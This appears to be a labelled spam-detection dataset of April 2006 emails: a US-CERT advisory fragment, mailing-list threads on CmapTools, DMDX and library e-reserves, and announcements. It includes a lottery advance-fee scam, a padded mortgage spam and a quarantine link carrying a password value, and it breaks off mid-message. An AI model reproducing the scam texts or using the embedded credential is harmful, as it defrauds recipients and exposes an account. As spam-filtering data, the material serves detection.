US-CERT Vulnerability Note VU#641460 - * CVE-2006-1359 - * CVE-2006-1245 - * CVE-2006-1388 - * CVE-2006-1185 - * CVE-2006-1186 - * CVE-2006-1188 - * CVE-2006-1189 - * CVE-2006-0003 - * CVE-2006-0012 - * Microsoft Update - * Securing Your Web Browser - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. 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Terms of use: ____________________________________________________________________ Revision History Apr 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRDwj9n0pj593lg50AQInJggAoOBNa20SU8JukBoK5elr5vWOLcAjycHt Cg0+064ncCpQXoWiYPrLGVzg4/MCTVUygbYl85cePp5cHSHqpfuYXoBuZwSKu36+ olQdkbU1ejViA8A0XPsQ3EgtIRlDZSgL1ncYlRM8QxK8CF7QV616ta8q6H/3EDMM i+tXy6gzQMqJeUthopzGcfpf6U5Qu9PCk/+Pj66GfFhHpARanLef2H28WFRazC+I R+vLGLFLV0gp1Iy7t267l1BhN1w1z+fXD0WwYkiTwb0mzeize8Amdqlb5c4Vn4wh HAF/XGiCe5qkMhM7kRLA70JsNfSkI38JPHWSo9/a04wFBKENCAwNpA== =w6IC -----END PGP SIGNATURE-----",0,1 ,,,Re: [Cmaptools] Re: Download CmapTools version 4.02,"Hi, I have been running V4 Beta 7...is V4.02 a newer version or should I stick with the one I have??? Brian Roche ----- Original Message ----- From: ""CmapSupport"" To: ""CmapTools Discussion List"" Sent: Tuesday, April 11, 2006 7:23 PM Subject: [Cmaptools] Re: Download CmapTools version 4.02 > To unsubscribe, E-mail to: > ----------------------------------- > Hi, > > The following is the response we gave to Juliano from CmapSupport > regarding how to get the latest version of CmapTools: > > -- > The latest version of CmapTools can be downloaded from the following URL > after choosing your platform, filling out the form, then clicking the > ""Submit"" button: http://cmap.ihmc.us/download/ > > If for some reason (such as browser problems) you are unable to reach the > download page, try using the ftp site: > ftp://ftp.ihmc.us/DownloadCmapTools/CmapTools/ > ...where the latest version is also available. Just browse into the > folder of your platform to access the installer. > > Sincerely, > > Jerod Durbin > CmapSupport > Institute for Human & Machine Cognition > http://www.ihmc.us/ > > Plan to participate in cmc2006, the 2nd International Conference on > Concept Mapping > San Jose, Costa Rica. Sept. 5-8, 2006 > Website: http://cmc.ihmc.us/ > Contact: cmc2006@ihmc.us > > > > Juliano Moreno wrote: > >> To unsubscribe, E-mail to: >> ----------------------------------- >> Hi, >> >> My name is Juliano Niero Moreno, I'm Brazilian and I intend to >> study and work with Cmaps. >> >> I'm trying to download CmapTools version 4.02 through link >> , but I only >> download documentation about this tool in this link. How can I download >> the CmapTools version 4.02? >> >> Thank's in advance. >> >> Thank you, >> Juliano Niero Moreno >> >> >> >> ############################################################# >> This message is sent to you because you are subscribed to the mailing >> list . >> To unsubscribe, E-mail to: >> To switch to the DIGEST mode, E-mail to >> Send administrative queries to > > > ############################################################# > This message is sent to you because you are subscribed to the mailing list > . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > Send administrative queries to",0,1 ,,,Re: [Cmaptools] Download CmapTools version 4.02,"Tente novamente na parte do link onde tem escrito download. Juliano Moreno escreveu: To unsubscribe, E-mail to: ----------------------------------- Hi, My name is Juliano Niero Moreno, I'm Brazilian and I intend to study and work with Cmaps. I'm trying to download CmapTools version 4.02 through link , but I only download documentation about this tool in this link. How can I download the CmapTools version 4.02? Thank's in advance. Thank you, Juliano Niero Moreno ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to Send administrative queries to --------------------------------- Abra sua conta no Yahoo! Mail - 1GB de espaço, alertas de e-mail no celular e anti-spam realmente eficaz.",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Tue, 11 Apr 2006 12:21:23 -0400",PAPER 20,"Niranjan Sivakumar Scribe: A Large-Scale and decentralized Application-Level Multicast Infrastructure Design and Evaluation of a Wide-Area Event Notification Service Scribe is an application level multicast system that is built on top of the Pastry distributed hash table. Scribe provides a simple system of creating multicast groups and using Pastry's structure to create trees for broadcasting. A group can either have a random Pastry node or itself as its root rendezvous point. When a node contacts the root to join a group, the path to the root becomes a part of the multicast tree. Hearbeat signals are sent to children for failure detection. Root node state is replicated to some number of neighbors for failure recovery. A system of message buffering is also proposed for further reliability. SIENA is a system for publishing and subscribing that is based on maximizing expressiveness and scalability. Expressiveness is defined as the ability for the system to capture a number of events and express filters and patterns to optimize notifications. SIENA opts to be unstructured in order to avoid performance issues of structured networks and to maintain generality. SIENA describes a fairly complex protocol allowing for the use of filters and also describes the structure of its advertising and subscription language. The paper also considers some performance issues between hierarchical and more general peer-to-peer network graphs. Scribe and SIENA are quite different from each other despite dealing with a similar issue. Scribe is quite simple and is a clever use of Pastry, but does not seem to go very far beyond what Pastry offers in and of itself. There could be some load issues if Scribe is run on a Pastry network that is used for other purposes as well. SIENA seems to be largely theoretical and seems to suffer from over-complexity. Furthermore, by focusing on expressiveness and scalability, the authors have set aside other important issues, such as security and reliability for future work. ",0,0 MICROLOTTERYNL ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Apr 2006 00:52:45 +0400",MICRO NEWS,"MICRO LOTTERY INTERNATIONAL VIJZELSTRAAT 56, 1017 HD, AMSTERDAM, NETHERLANDS. FILE REFERENCE NO:ABU2005-001-MLI BATCH: 1505/004NL TO WINNERS IN OUR PROGRAM We wish to congratulate you over your success in our computer balloting sweepstake held on 30th March 2006. This is a millennium scientific computer game in which email addresses were used. It is a promotional program aimed at encouraging internet users; therefore you do not need to buy ticket to enter for it. However, your email address was attached to ticket number 10CBG3471913; with serial number 19034 draw the lucky numbers 1-9-74-31, which eventually won the lottery in the first category of the draws. This entitled to a cash award of US$ 2, 500,000.00 (TWO MILLION FIVE HUNDRED THOUSAND U.S DOLLARS). This is from total prize money of US$30,000,000.00 distributed to winners from 1st to 3rd categories. Note that this program was largely promoted and sponsored by a group of philanthropist, industrialists from the internet ware industry and some other big multinational firms who wish to be anonymous. To begin your claim, please contact the claims coordinator DR. STUART DIENEN Email address: microinternl@netscape.net TEL : +31 649 304 472 Yours Faithfully, MRS. DENSIE DE HOLIDRIJK For: Micro Lottery Int'l ",1,0 David McCaslin ,ARL-ERESERVE@arl.org,"Tue, 11 Apr 2006 17:49:19 -0400",Proposed Panel Group for ACRL,"Hello, I had a question regarding the panel sessions for the upcoming ACRL conference in Baltimore. I realize it not for another 10 months but the deadline is May 10th so I wanted to gather some information before actually submitting something. Before I go further let me tell you about myself, my name is David McCaslin and presently I am a library supervisor at Penn State University in the Course Reserves department. In addition, I am just finishing my 3rd (out of 6) semesters at the University of Pittsburgh, for my Masters in Library and Information Sciences, so I'm halfway home to my MLIS and hopefully becoming a librarian. This will be my first time to an ACRL conference. I will be attending the ALA conference for the first time in Seattle at the midwinter one--so attending conferences is still something new for me but I feel I have something worthwhile to contribute to the conference. I have not read many postings from this listserv so please forgive me if the debated questions below have been repeated over and over. In our course reserves at Penn State , we deal with putting regular (book-housed in the Reserve Reading Room) and electronic reserves up (online accessible through the libraries' homepage) for instructors and their courses. For the electronic reserves, we deal with many issues regarding what can or cannot be placed on ""reserve"". Primarily, this involves the different copyright restrictions on placing an item on electronic access for a course (whether the book or journal is physically owned by the library or not). Within the past year, we've seen the case with the Association of American Publishers and the University of California, San Diego, the electronic course reserves is a situation that will not go away. Just from my personal experiences, we at Penn State, pay tens of thousands of dollars (~$70,000 a semester via the Copyright Clearance Center) based on our own reserve procedures but for every 5 universities dealing with course reserves and copyright, there are 5 different copyright/course reserve procedures or protocols. For instance, we use 15% of one work (excluding journal articles) as acceptable for an item to be placed on electronic reserve but another school may choose 10%, yet another 20%. Where do academic libraries stand in supplying course reserves? Has the San Diego-Association of American Publishers case changed the landscape? What will the future bring in this area? What are some different approaches by some University libraries? Do or will instructors adjust their reserve lists based on possible copyright costs incurred by libraries on their behalf? These are all questions I think a panel session could address these questions/issues. The question(s) I have is: Is this something that is worthwhile to propose to ACRL as a panel session? In addition, according to the application, I will need to list additional speakers (i.e. hopefully some of you) to help me lead this panel. As I explained above, I am a new member and will be attending the for the first time so I didn't want to submit something that has already been talked about at length,. as well as propose something where I'm the only panel speaker or presenter. Any help you can provide would be greatly appreciated. Thanks, David J. McCaslin Library Supervisor II - Reserves Penn State University W-118 Pattee Library ",0,0 cm2036@columbia.edu,economicsbb@columbia.edu,"Tue, 11 Apr 2006 23:55:58 -0400","SUMMER SCHOOL on Capability, Poverty and Well-Being measurement","SUMMER SCHOOL on Capability, Poverty and Well-Being Measurement: 26-29 August 2006 Groningen, the Netherlands The purpose of this intensive summer school, which takes place immediately before the international conference, is to provide a thorough conceptual and technical introduction to current literature and techniques of capability measurement. http://www.philos.rug.nl/hdca2006/summerschool.htm ",0,1 Milward James ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Apr 2006 09:53:22 +0100",[DMDX] DMDX Freezing with Katakana,"I’ve posted on here before about the Katakana problems we were having and have now installed the new DMDX on our text machines. I'm working with Kathy Rastle at Royal Holloway University of London to get some machines working for one of her experiments. We have had a few problems displaying Katakana text so have updated to the newest version of DMDX and am experiencing problems! We have the problem where when you run a script, each trial take around 30 seconds to display and is extremely slow, if you try to escape DMDX hangs and takes a good minute to exit, when this does exit it comes up with the error ""Retrace thread did not self terminate"". I have had this problem on a few of our experiment machines and simply formatted and this fixed the problem however this is not the case with these machines. I have changed the graphics card twice and the card we are now running does record the refresh rate and succeed in all of the tests. We are very confused over here and were wondering if you could shed any light? Thanks --------------------- James Milward IT Technician Department of Psychology (Room 119) Royal Holloway University of London, Egham, Surrey TW20 0EX Tel : 01784 443527 Email : James.Milward@rhul.ac.uk -- No virus found in this outgoing message. Checked by AVG Free Edition. Version: 7.1.385 / Virus Database: 268.4.1/309 - Release Date: 11/04/2006 ",0,0 Skidmore Spam Firewall ,irc-list-web@skidmore.edu,"Wed, 12 Apr 2006 06:48:46 -0400",Spam Quarantine Summary,"Dear irc-list-web@skidmore.edu, this is your quarantine summary from the Skidmore Spam Firewall. You have 19 messages in your spam quarantine inbox. To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: https://monty.skidmore.edu:443/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=22f41c045e9c34da97f2f4f4fb3e92fe&et=1145270925&locale= ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Apr 2006 08:24:22 -0700",[DMDX] Re: DMDX Freezing with Katakana,"So the same script can work or not work, it just depends on the machine. For a start turning on will probably allow you to exit DMDX with greater ease when things are disintegrating. Next up is checking that the refresh rate you've timed in TimeDX is actually a valid refresh rate. Any number of times we've seen machines with crappy drivers make TimeDX somehow provide 0 ms as the refresh interval of a video mode. When people don't even remotely check what TimeDX is displaying and go ahead and store those values in the registry DMDX comes along and tries to use those values and performs much the same way as you are seeing it. The solution is usually to get new video drivers. If that doesn't fix things sometimes (but not recently) there are switches in the Refresh Rate test in TimeDX that can fix the way TimeDX determines the retrace rate (usually turning off Read Between Flips to Stop Cheating Drivers). If it is in fact the case that TimeDX is determining that the retrace interval is 0 ms and nothing will make TimeDX's automatic determination routines work you can always override them with your own values (there's a bunch of documentation on it in the TimeDX help). At 09:53 AM 4/12/2006 +0100, you wrote: >xmlns:ns0=""urn:schemas-microsoft-com:office:smarttags""> > >I ve posted on here before about the Katakana problems we were having and >have now installed the new DMDX on our text machines. I'm working with >Kathy Rastle at Royal Holloway University of London to get some machines >working for one of her experiments. We have had a few problems displaying >Katakana text so have updated to the newest version of DMDX and am >experiencing problems! > > > >We have the problem where when you run a script, each trial take around 30 >seconds to display and is extremely slow, if you try to escape DMDX hangs >and takes a good minute to exit, when this does exit it comes up with the >error ""Retrace thread did not self terminate"". I have had this problem on >a few of our experiment machines and simply formatted and this fixed the >problem however this is not the case with these machines. I have changed >the graphics card twice and the card we are now running does record the >refresh rate and succeed in all of the tests. We are very confused over >here and were wondering if you could shed any light? > > > >Thanks > > > > > >--------------------- > >James Milward > >IT Technician > >Department of Psychology (Room 119) > >Royal Holloway University of London, > >Egham, Surrey TW20 0EX > > > >Tel : 01784 443527 > >Email : James.Milward@rhul.ac.uk > > > >-- >No virus found in this outgoing message. >Checked by AVG Free Edition. >Version: 7.1.385 / Virus Database: 268.4.1/309 - Release Date: 11/04/2006 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The optimum committee has no members. - Norman Augustine",0,0 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Apr 2006 16:52:40 +0100",[DMDX] RE: Re: DMDX Freezing with Katakana,"I second the notion that you MUST check what TimeDX has timed, and if necessary modify the values to be sensible ones, otherwise a machine will hang.. .... Chris //-----Original Message----- //From: DMDX-owner@psy1.psych.arizona.edu //[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. //Sent: 12 April 2006 16:24 //To: DMDX@psy1.psych.arizona.edu //Subject: [DMDX] Re: DMDX Freezing with Katakana // // // //So the same script can work or not work, it just depends on the //machine. For a start turning on will probably //allow you to //exit DMDX with greater ease when things are disintegrating. //Next up is //checking that the refresh rate you've timed in TimeDX is //actually a valid //refresh rate. Any number of times we've seen machines with //crappy drivers //make TimeDX somehow provide 0 ms as the refresh interval of a video //mode. When people don't even remotely check what TimeDX is //displaying and //go ahead and store those values in the registry DMDX comes //along and tries //to use those values and performs much the same way as you are seeing //it. The solution is usually to get new video drivers. If //that doesn't fix //things sometimes (but not recently) there are switches in the //Refresh Rate //test in TimeDX that can fix the way TimeDX determines the //retrace rate //(usually turning off Read Between Flips to Stop Cheating //Drivers). If it //is in fact the case that TimeDX is determining that the //retrace interval is //0 ms and nothing will make TimeDX's automatic determination //routines work //you can always override them with your own values (there's a bunch of //documentation on it in the TimeDX help). // //At 09:53 AM 4/12/2006 +0100, you wrote: //>xmlns:ns0=""urn:schemas-microsoft-com:office:smarttags""> //> //>I ve posted on here before about the Katakana problems we //were having and //>have now installed the new DMDX on our text machines. I'm //working with //>Kathy Rastle at Royal Holloway University of London to get //some machines //>working for one of her experiments. We have had a few //problems displaying //>Katakana text so have updated to the newest version of DMDX and am //>experiencing problems! //> //> //> //>We have the problem where when you run a script, each trial //take around 30 //>seconds to display and is extremely slow, if you try to //escape DMDX hangs //>and takes a good minute to exit, when this does exit it //comes up with the //>error ""Retrace thread did not self terminate"". I have had //this problem on //>a few of our experiment machines and simply formatted and //this fixed the //>problem however this is not the case with these machines. I //have changed //>the graphics card twice and the card we are now running does //record the //>refresh rate and succeed in all of the tests. We are very //confused over //>here and were wondering if you could shed any light? //> //> //> //>Thanks //> //> //> //> //> //>--------------------- //> //>James Milward //> //>IT Technician //> //>Department of Psychology (Room 119) //> //>Royal Holloway University of London, //> //>Egham, Surrey TW20 0EX //> //> //> //>Tel : 01784 443527 //> //>Email : James.Milward@rhul.ac.uk //> //> //> //>-- //>No virus found in this outgoing message. //>Checked by AVG Free Edition. //>Version: 7.1.385 / Virus Database: 268.4.1/309 - Release //Date: 11/04/2006 // // /""\\ // -jonathan (j.c.f.) \\ / // X // ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ // //The optimum committee has no members. // // - Norman Augustine // // //==================================================================== // Send mail to DMDX-request@psy1.psych.arizona.edu with the word // 'unsubscribe' by itself with no quotes in the body of the email // to be removed from the list. The list archive is available here: // http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread //==================================================================== //",0,1 """Neyer, Linda S"" ",E-Reserves in Libraries Discussion List ,"Wed, 12 Apr 2006 08:10:41 -0400",RE: [ARL-ERESERVE] Proposed Panel Group for ACRL,"I think the topic of electronic reserves would make for an interesting panel. From my research in writing a chapter on e- reserves and fair use for Tom Leonhardt's forthcoming book, Handbook of Electronic and Digital Acquisitions , I found, like you, that policies varied widely. By and large, public institutions (as opposed to private) seem to have a greater tolerance for risk. Of course, copyright/fair use is a fluid area, and for now it seems the Google Print project has momentarily distracted the AAP from pursuing San Diego. The ARL Bimonthly Report 232 (Feb. 04) on Electronic Reserves and Fair Use advocates using the 4 criteria of fair use in electronic reserves over other standards or criteria (like CONFU). In the report, they specifically mention some folks you might want to consider for a panel: Georgia Harper, U of Texas, Peggy Hoon, North Carolina State U, Paula Kaufman, Illinois at U-C. The policy was also endorsed by ALA, AALL (Law), ACRL, MLA (Medical), and SLA. I think having some of these folks might be helpful or interesting, too. (The report also links to other resources and pages with links to policies.) My $.02, Linda p.s. BTW, this list was invaluable in my research as was Jeff Rosendale's ""Electronic Reserves Clearinghouse "" (last update 10/4/05). Linda Neyer Reference Librarian Health Science/Sciences Specialist Harvey A. Andruss Library Bloomsburg University of Pennsylvania 400 East Second St. Bloomsburg, PA 17815 ph. 570-389-4801 fax 570-389-5066 ________________________________ From: E-Reserves in Libraries Discussion List on behalf of David McCaslin Sent: Tue 4/11/2006 5:49 PM To: E-Reserves in Libraries Discussion List Subject: [ARL-ERESERVE] Proposed Panel Group for ACRL Hello, I had a question regarding the panel sessions for the upcoming ACRL conference in Baltimore. I realize it not for another 10 months but the deadline is May 10th so I wanted to gather some information before actually submitting something. Before I go further let me tell you about myself, my name is David McCaslin and presently I am a library supervisor at Penn State University in the Course Reserves department. In addition, I am just finishing my 3rd (out of 6) semesters at the University of Pittsburgh, for my Masters in Library and Information Sciences, so I'm halfway home to my MLIS and hopefully becoming a librarian. This will be my first time to an ACRL conference. I will be attending the ALA conference for the first time in Seattle at the midwinter one--so attending conferences is still something new for me but I feel I have something worthwhile to contribute to the conference. I have not read many postings from this listserv so please forgive me if the debated questions below have been repeated over and over. In our course reserves at Penn State , we deal with putting regular (book-housed in the Reserve Reading Room) and electronic reserves up (online accessible through the libraries' homepage) for instructors and their courses. For the electronic reserves, we deal with many issues regarding what can or cannot be placed on ""reserve"". Primarily, this involves the different copyright restrictions on placing an item on electronic access for a course (whether the book or journal is physically owned by the library or not). Within the past year, we've seen the case with the Association of American Publishers and the University of California, San Diego, the electronic course reserves is a situation that will not go away. Just from my personal experiences, we at Penn State, pay tens of thousands of dollars (~$70,000 a semester via the Copyright Clearance Center) based on our own reserve procedures but for every 5 universities dealing with course reserves and copyright, there are 5 different copyright/course reserve procedures or protocols. For instance, we use 15% of one work (excluding journal articles) as acceptable for an item to be placed on electronic reserve but another school may choose 10%, yet another 20%. Where do academic libraries stand in supplying course reserves? Has the San Diego-Association of American Publishers case changed the landscape? What will the future bring in this area? What are some different approaches by some University libraries? Do or will instructors adjust their reserve lists based on possible copyright costs incurred by libraries on their behalf? These are all questions I think a panel session could address these questions/issues. The question(s) I have is: Is this something that is worthwhile to propose to ACRL as a panel session? In addition, according to the application, I will need to list additional speakers (i.e. hopefully some of you) to help me lead this panel. As I explained above, I am a new member and will be attending the for the first time so I didn't want to submit something that has already been talked about at length,. as well as propose something where I'm the only panel speaker or presenter. Any help you can provide would be greatly appreciated. Thanks, David J. McCaslin Library Supervisor II - Reserves Penn State University W-118 Pattee Library",0,1 """Mackey,Teri L"" ",E-Reserves in Libraries Discussion List ,"Wed, 12 Apr 2006 08:36:21 -0400",RE: [ARL-ERESERVE] Proposed Panel Group for ACRL,"David McCaslin, This conference might interest you, and the CIP may be able to help you with your panel search. Teri Mackey Science Technology Library University of Akron Akron OH 44325-3907 tmackey@uakron.edu 330-972-7196 voice 330-972-7033 fax ---------------------------------------------------------------- The 2006 Center for Intellectual Property 6th Annual Symposium on Intellectual Property is just around the corner--June 14-16, in Adelphi, MD. The deadline for early bird registration is only weeks away...May 12, 2006. Center for Intellectual Property and Copyright in the Digital Environment University of Maryland University College 3501 University Boulevard East Adelphi, Maryland 20783 Phone: 240.582.2803 cip@umuc.edu",0,0 Hattie Miles <34po68@gardener.com>,marla@cs.utexas.edu,"Wed, 12 Apr 2006 19:19:00 +0000","Re: Your cash, pathogenesis"," Here he came this minute, a blurred gray shape roaring out of a dive, longer human. ===== Your cred it doesn't matter to us! If you OWN real est ate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly pay ments by a third or more, here are the de als we have TODAY (hurry, these offe rs will expi re TONIGHT): $488,000.00 at a 3.67,% fix ed-rate $372,000.00 at a 3.90,% var iable-rate $492,000.00 at a 3.21,% inter est-only $248,000.00 at a 3.36,% fixe d-rate $198,000.00 at a 3.55,% vari able-rate Hurry, when these de als are gone, they are gone! Simply fill out this one-minute form... Don't worry about approval, your cred it will not disquali fy you! Read it ""Come along then."" said Jonathan. ""Climb with me away from the longer needed fishing boats and stale bread for survival. He learned to is as much of a spectrum of excellence in science fiction as there is in any ""What?"" popular with other birds. Even his parents were dismayed as Jonathan spent And Jonathan Livingston Seagull rose with the two starbright gulls to ",1,0 Peter Suber ,SPARC-OAForum@arl.org,"Wed, 12 Apr 2006 13:29:40 -0400","iCommons Summit, Rio de Janeiro, 23-25 June, 2006","[Forwarding from Heather Ford via the A2K list. --Peter.] Dear A2K-ers, It is a great pleasure to invite you to the annual iCommons Summit taking place this year in the heart of free culture, in Rio de Janeiro, Brazil, from the 23rd to the 25th of June. With participation by commons communities from Creative Commons, Wikipedia, Science Commons, Ubuntu, A2K and others, this year's Summit is set to be one of the most exciting events for creative and knowledge commons pioneers from around the world. Best wishes, Heather Ford Acting Executive Director: iCommons iCommons Summit, Rio de Janeiro, 23-25 June, 2006 www.icommons.org ""Towards a global digital commons"" The past few years has seen the burgeoning of a number of initiatives aimed at opening the fields of creativity, science and knowledge in communities around the world. Practitioners from these movements currently identify themselves as falling within a particular community ­ 'free and open source software', 'open access', 'open content' and 'open science', amongst others ­ but they share key processes and values whose common elements are yet to be fully realized. This year's iCommons Summit aims to bring together, in a creative, stimulating and cooperative environment, the pioneers from these communities ­ to inspire and learn from one another and establish closer working relationships around a set of incubator projects. This year's landmark event is structured around three major themes: 1. Tools. Developing effective, relevant tools to assist other creators, authors, scientists and researchers to develop and showcase their creativity and innovation. 2. Policy. Strategies to ensure international, regional and local policy fora that are conducive to the development and nurturing of the commons. 3. Practice. Learning from the experience of others to develop effective models for the development of open content in societies around the world. The goals of iCommons are to build the Summit into a launch-pad for global cooperation around commons projects and to provide an open, creative space for practitioners to learn from best case practices and to showcase new ideas. With iCommons' strong institutional partnerships, we will continue to nurture these alliances throughout the year, providing the tools and spaces for commoners to build on the friendships and shared experience of the event, and building a united global commons community. The three-day program will have a mix of formal presentations, roundtable working groups, practical workshops and community-driven program slots that enable participants to gain strategic insights and practical techniques as well as play a critical role in shaping the emerging global commons movement. With keynote speakers including Gilberto Gil, Larry Lessig, Joi Ito, James Boyle and Jimmy Wales who will inspire participants with a vision of a living, thriving commons, to members of the expanding iCommons community showcasing their ideas and inviting participation in key projects, this year's Summit is proving to be a must-attend for anyone engaged in the growth and development of the digital commons of the future. About iCommons Incubated by Creative Commons, iCommons is an organisation with a broad vision to develop a united global commons front by collaborating with open content, access to knowledge, open access publishing and free culture communities around the world. Using the annual iCommons Summit as the main driver of this vision, iCommons will feature projects that encourage collaboration across borders and communities, and promote the tools, models and practice that facilitate universal participation in the cultural and knowledge domains. The Summit will collaborate with organisations and communities from around the world to demonstrate and share best practice and discuss strategies for continuing the positive impact that ""sharing"" practices are having on participation in the cultural and knowledge domains. During the year iCommons will incubate projects that cross borders and unite commons communities, acting as a platform for international collaboration towards the growth and enlivening of a global digital commons. See www.icommons.org",0,0 Peter Suber ,SPARC-OAForum@arl.org,"Wed, 12 Apr 2006 13:30:21 -0400",New Request Copy feature in DSpace,"[Forwarding from Eloy Rodrigues via the AmSci OA Forum. --Peter.] Apologies for cross-posting I’m glad to announce that the Repository UM team at Minho University has finished the development of a new Add-on to DSpace, that we called “Request Copy” (but others may call “Request Eprint” or “Email Eprint”, etc.). This first version of the Add-on (see description below) is available at: http://wiki.dspace.org/RequestCopy . As we plan to release a new version (including a third option/reply – Change Access to Open Access) in the coming weeks, we will welcome comments and suggestions from early adopters or testers. Please send your comments and suggestions to: repositorium@sdum.uminho.pt What is the DSpace Request Copy Add-on? It was recently suggested by Stevan Harnad that we develop a ""request eprint by email"" feature for DSpace, similar to one that has recently been implemented in GNU Eprints for deposits whose full-text access privileges are set to Restricted Access (RA) rather than Open Access (OA), in order to tide over any RA period with facilitated email access. The Request Copy Add-on is this feature developed for DSpace 1.3.2. The purpose of this feature is to increase both the content deposited in Institutional Repositories (IRs) and its immediate usability by providing a way to accommodate the (frequently unfounded) worries of authors and their institutions about copyright infringement during any publisher embargo periods on public self-archiving, by creating a semi-automated mechanism whereby would-be users can request and authors can email an individual copy of a full-text deposited with access set as RA. This feature will be very important for advancing OA if universities and other research institutions adopt the Generic Model for an Open-Access Self-Archiving Mandate ( http://openaccess.eprints.org/index.php?/archives/71-guid.html). In this model, depositing immediately (upon acceptance for publication) is mandatory whereas setting deposit immediately to OA is merely encourages, leaving the decision up to the author. This is how the “Request Copy” feature works: 1- In all non-OA items (we consider non-OA all DSpace items/files that have access different from Anonymous) there is a link to a “Request a Copy to the author” Form, activated in the View/Open link and also on the “Restricted Access/Request-a-copy” logo that we added at the side. 2- The requester must enter his/her email address and name, and may add a comment, and press a “Request-a-copy” button. 3 – An email is sent to the depositor (either one of the authors, or their designee). The text of the mail is configurable (in our case we made an express statement to forward the mail to the author(s) if the depositor is not author). The email message contains a token. 4 – Using that token, the author may reply, by just clicking in one of the two buttons available: “Send Copy”, “Don’t send copy”. 5 – After choosing the Send/Don’t send reply, the author is presented with one of the two message models (also configurable and editable) for the reply. Finally, the author must hit the Send button, and the message (including the file(s) if the author chose the Send option) is sent to the requester. Best Regards, Eloy Rodrigues Universidade do Minho - Serviços de Documentação Campus de Gualtar, 4710-057 Braga Tel: +351 253 60 41 50; Fax - 253 60 41 59 Campus de Azurém, 4800-058 Guimarães Tel: +351 253 51 01 19; Fax - 253 51 01 17",0,1 Yvonne Aburrow ,aut-announcements@bath.ac.uk,"Wed, 12 Apr 2006 15:58:40 +0100",Campaign update Wednesday 12 April (fwd),"Heads of Department, please note the first point - thanks. ------------ Forwarded Message ------------ Date: 12 April 2006 15:48 +0100 From: Justine Stephens To: Info Cc: Matt Waddup , Justine Stephens Subject: Campaign update Wednesday 12 April Dear All, A brief email today in advance of the Easter break. * In response to a large number of requests from Heads of Departments wanting to know the best ways in which they can support the action, we have produced some guidance. Many Heads of departments who are AUT members are being put under pressure to assist management in various ploys aimed at undermining the action short of a strike. AUT members are resisting this pressure. Please forward immediately to the Heads of Department in your institution: http://www.aut.org.uk/media/pdf/d/h/asos_hodadvice.pdf and, as the guidance suggests try to organise meetings of HoD's as soon as possible. VCs turn heat up on UCEA The employers' much-vilified decision not to negotiate with the unions came in for further attack today - from their own side. Vice-Chancellors have turned on their national representative body, the Universities and Colleges Employers' Association (Ucea), following frustrations at the Ucea board's intransigence. AUT general secretary, Sally Hunt, told the Times Higher Education Supplement that any blame for the dispute still rumbling on should be placed firmly at the door of the Ucea board - something VCs are now starting to do. ""I am still unclear as to why Ucea refuses to meet with us, and so it appears are many vice-chancellors,"" she said. More on this story and the dispute can be found in this week's THES (out a day early because of the Easter break). Keele Setting a trend? Students at Keele University are apparently being told they don't need to bother completing their final year to be awarded a full classified degree. The University's Senate has approved contingency plans that will see students who have completed just 62.5 per cent of their studies awarded their class of degree on the marks achieved so far. Sally Hunt, said: ""Universities should not be compromising Britain's standing in the world in this way and no student should be placed in a position where their degree is called into question. There is no reason why this dispute cannot be settled tomorrow. We're ready and willing to talk. Universities would be better off talking to us to resolve the assessment boycott than trying to devise half-baked ideas that may make our universities a laughing stock."" AUT general secretary -- live on air Easter Monday: Sally Hunt will be debating the rights and wrongs of the current pay dispute with a representative from Ucea on Radio 4's 'You And Yours' programme at midday on Easter Monday. We are awaiting confirmation that Ucea will be taking part in the programme, but, if they do, we are keen to learn why they will debate with us in public but not meet to thrash out a pay claim. Tune in and maybe find out on 198LW. And in brief: * QAA: AUT and NATFHE are writing to the QAA expressing our serious concerns relating to the use of drafting in post-grads and retired members for the marking of exams. NUS has also written a similar letter. * New materials: New ASOS materials to arrive at LAs next Thursday -- for a preview- or to download- go here (those marked new): http://www.aut.org.uk/index.cfm?articleid=1359 * General meetings: A number of LAs are currently organising general meetings to bring members together after Easter in order to re-focus energies on the action. If you would like a national speaker please contact Justine.stephens@aut.org.uk * More details in next weeks email of VC/Ucea split and Bradford mistakenly paying strikers and deducting from those not on strike. Justine Stephens Head of Campaigns AUT Egmont House 25-31 Tavistock Place London WC1H 9UT Tel: 020 7670 9700 Mobile: 07887 565976 AUT has imposed its most serious sanction of 'greylisting' on Brunel University. For more information and to support our campaign please visit: http://www.aut.org.uk/greylistbrunel ---------- End Forwarded Message ---------- Yvonne -- Yvonne Aburrow Web Developer, Computing Services, University of Bath +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk http://people.bath.ac.uk/ccsya/",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Apr 2006 16:08:29 -0700",[DMDX] RE: RE: Re: DMDX Freezing with Katakana,"I understood the problem was restricted to some machines, but only when displaying katakana. Is this right? If it is, then it can't be a problem with video drivers -- if .rtf files using English work OK, then the problem has to do with the katakana font. If you send me (not the list) an .rtf file as an attachment, I'll see what happens on our machines. We have just completed a successful experiment using both kanji and katakana. Maybe you should also indicate what font you were using when you constructed the .rtf file. --k.i.f. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > owner@psy1.psych.arizona.edu] On Behalf Of Chris Letts > Sent: Wednesday, April 12, 2006 8:53 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] RE: Re: DMDX Freezing with Katakana > > I second the notion that you MUST check what TimeDX has timed, and if > necessary modify the values to be sensible ones, otherwise a machine 